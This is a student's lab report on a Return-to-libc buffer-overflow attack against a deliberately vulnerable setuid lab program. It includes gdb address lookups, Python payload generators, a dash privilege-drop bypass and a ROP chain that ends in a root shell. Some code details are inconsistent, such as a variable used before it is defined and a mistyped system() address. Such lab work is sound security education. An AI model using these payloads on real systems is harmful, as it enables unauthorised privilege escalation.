Yewon Lee

CSCI 4250
Lab 02
Return-to-libc Attack

This lab helped me understand how to identify and recognize a buffer-overflow vulnerability within a program. I was able to gain practical experience in developing and executing a Return-to-libc attack. This attack technique allowed me to redirect program execution to existing code within the `libc` library, effectively evading non-executable stack protections. Also, the lab provided an opportunity for me to escalate my privileges to the root level using the Return-to-libc attack.

Task 1. *Finding out the Addresses of* `libc` *Functions*
Before starting task 1, we first disabled address space randomization by

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

We then configured the `/bin/sh` symbolic link by using

```
$ sudo ln -sf /bin/zsh /bin/sh
```

Once the above commands were followed, we debugged the target program `retlib` using

```
$ touch badfile
$ gdb -q retlib
```

which allowed us to enter `gdb` and used following commands:

```
gdb-peda$ break main
gdb-peda$ run
gdb-peda$ p system
gdb-peda$ p exit
gdb-peda$ quit
```

This gave the result as below

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

Task 2. *Putting the Shell String in the Memory*
In task 2, we first created a new `MYSHELL` environment using

```
$ export MYSHELL=/bin/sh
$ env | grep MYSHELL
MYSHELL=/bin/sh
```

Note the following program `prtenv.c`.

```
#include<stdlib.h>
#include<stdio.h>

void main(){
    char* shell = getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int)shell);
}
```

We compiled this code and ran the code using

```
$ gcc -m32 -fno-stack-protector -z noexecstack -o prtenv prtenv.c
$ ./prtenv
```

Once we ran the code, we received

```
ffffd403
```

We then verified by placing the code from `prtenv.c` onto `retlib.c`.

```
$ gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
$ sudo chown root retlib && sudo chmod 4755 retlib
$ ./retlib
```

We received:

```
ffffd403
Address of input[] inside main(): 0xffffcd9c
Input size: 0
Address of buffer[] inside bof(): 0xffffcd60
Frame Pointer value inside bof(): 0xffffcd78
Segmentation fault
```

Task 3. *Launching the Attack*
In task 3, we first created the content of `badfile` as following:

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
```

```
content = bytearray(0xaa for i in range(300))

X = Y + 8
sh_addr = 0xffffd403 # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf4e1220 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = Y + 4
exit_addr = 0xf7e04f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

Here, the value of `Y` was found by calculating `Frame Pointer value inside bof() - Address of buffer[] inside bof() + 4 = 0xffffcd78 - 0xffffcd60 + 4 = 28`. When we first ran the `exploitT3.py`, the attack was successful.

```
$ ./exploitT3.py
$ ./retlib
Address of input[] inside main(): 0xffffcda0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd70
Frame Pointer value inside bof(): 0xffffcd88
```

When we used attack variation 1, attacking without including the address of function in `badfile`, we noticed that the attack was first running, however, later crashed while exiting.

```
$ ./exploitT3.py
$ ./retlib
Address of input[] inside main(): 0xffffcda0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd70
Frame Pointer value inside bof(): 0xffffcd88
Segmentation fault
```

When we used attack variation 2, changing the file name or `retlib` to `newretlib`, the attack failed and the addresses given were different compared to when a file name with six letters was compiled and ran.

```
$ ./newretlib
Address of input[] inside main(): 0xffffcd90
Input size: 300
```

```
Address of buffer[] inside bof(): 0xffffcd60
Frame Pointer value inside bof(): 0xffffcd78
zsh:1: command not found: h
```

Task 4. *Defeat Shell's Countermeasure*
In task 4, we first changed the symbolic link back by using:

```
$ sudo ln -sf /bin/dash /bin/sh
```

We then modified `exploitT4.py` as following:

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

buffer = 0xffffcd9c
arr = 44

X = Y + 8
sh_addr = 0xffffd403 # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf4e1220 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = Y + 4
exit_addr = 0xf7e04f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

content[arr:arr + 8] = bytearray(b'/bin/sh\x00')
content[arr + 8: arr + 12] = bytearray(b'-p\x00\x00')
content[arr + 16: arr + 20] = (buffer + arr).to_bytes(4, byteorder='little')
content[arr + 20: arr + 24] = (buffer + arr + 8).to_bytes(4, byteorder='little')
content[arr + 24: arr + 28] = bytearray(b'\x00' * 4)

content[X + 4: X + 8] = (buffer + arr + 16).to_bytes(4, byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

Then, we compiled the file and ran the file.

```
$ gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
```

```
$ sudo chwon root retlib && sudo chmod 4755 retlib
$ ./exploitT4.py
$ ./retlib
ffffd3e3
Address of input[] inside main(): 0xffffcd7c
Input size: 256
Address of buffer[] inside bof(): 0xffffcd40
Frame Pointer value inside bof(): 0xffffcd58
```

The attack was successful.

Task 5. *Return-Oriented Programming*
In task 5, we first found the address of `foo`.

```
gdb-peda$ p foo
$1 = {<text variable, no debug info>} 0x565562d0 <foo>
```

Using the address found, we modified `exploitT5.py` and added the address of `foo` in order to use ROP.

```
# !/usr/bin/python3
import sys

def tobytes (value):
    return (value).to_bytes(4, byteorder= 'little')

# Fill content with non-zero values
content = bytearray(0xaa for i in range (24))

sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e04f80
ebp_bof = 0xffffcd58
foo_addr = 0x565562d0

sprintf_arg1 = ebp_bof + 12 + 5 * 0x20
sprintf_arg2 = sh_addr + len("/bin/sh")

# Return to sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2 * 4)

# sprintf(sprintf_arg1, sprintf_arg2)
```

```
for i in range(4):
    ebp_next += 0x20
    content += tobytes(ebp_next)
    content += tobytes(sprintf_addr)
    content += tobytes(leaveret)
    content += tobytes(sprintf_arg1)
    content += tobytes(sprintf_arg2)
    content += b'A' * (0x20 - 5 * 4)
    sprintf_arg1 += 1

# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4 * 4)

for i in range(10):
    ebp_next += 0x20
    content += tobytes(ebp_next)
    content += tobytes(foo_addr)
    content += tobytes(leaveret)
    content += b'A' * (0x20 - 3 * 4)

# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4 * 4)

# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

Compiling and running the program, we get:

```
$ ./exploitT5.py
$ ./retlib
ffffd3e3
Address of input[] inside main(): 0xffffcd7c
Input size: 576
```

```
Address of buffer[] inside bof(): 0xffffcd40
Frame Pointer value inside bof(): 0xffffcd58
Function foo() is invoked 1 times
Function foo() is invoked 2 times
Function foo() is invoked 3 times
Function foo() is invoked 4 times
Function foo() is invoked 5 times
Function foo() is invoked 6 times
Function foo() is invoked 7 times
Function foo() is invoked 8 times
Function foo() is invoked 9 times
Function foo() is invoked 10 times
bash-5.0#
```

Here, `foo()` was called a total of ten times before getting a root shell, and the attack was successful.